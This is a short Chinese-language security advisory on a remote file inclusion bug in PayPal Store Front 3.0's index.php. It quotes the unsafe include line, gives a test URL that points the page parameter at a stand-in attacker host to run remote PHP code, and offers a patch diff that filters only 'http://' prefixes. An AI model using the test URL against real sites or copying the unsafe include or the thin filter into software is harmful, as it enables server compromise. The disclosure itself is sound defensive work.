PayPal Store Front 'index.php'远程文件包含漏洞发布时间:2003-10-08 更新时间:2003-10-08 严重程度:中 威胁程度:普通用户访问权限 错误类型:输入验证错误 利用方式:服务器模式 BUGTRAQ ID:8791 受影响系统 PayPal Store Front PayPal Store Front 3.0详细描述 index.php脚本包含如下代码: require ($page . ".php"); 由于对用户提交给page=变量的数据缺少充分过滤,攻击者可以包含远程服务器上的文件,以WEB权限执行PHP代码。 测试代码 http://www.vulnsite.com/index.php?do=ext&page=http://www.attacker.com/index 解决方案 补丁下载: --- index.php 2002-10-31 21:47:00.000000000 +0100 +++ index.php.patch 2003-10-08 14:27:17.000000000 +0200 @@ -51,7 +51,14 @@ switch($do) case "ext": require ("header.php"); - require ($page . ".php"); + // the bug was here + // require ($page . ".php"); + // it was possible to include an external file + + if (preg_match("/http:\/\//i", $page)) + die ("Can't include external file"); + else + require ($page . ".php"); break; case "product"; 相关信息 参考:http://www.securityfocus.com/archive/1/340660 |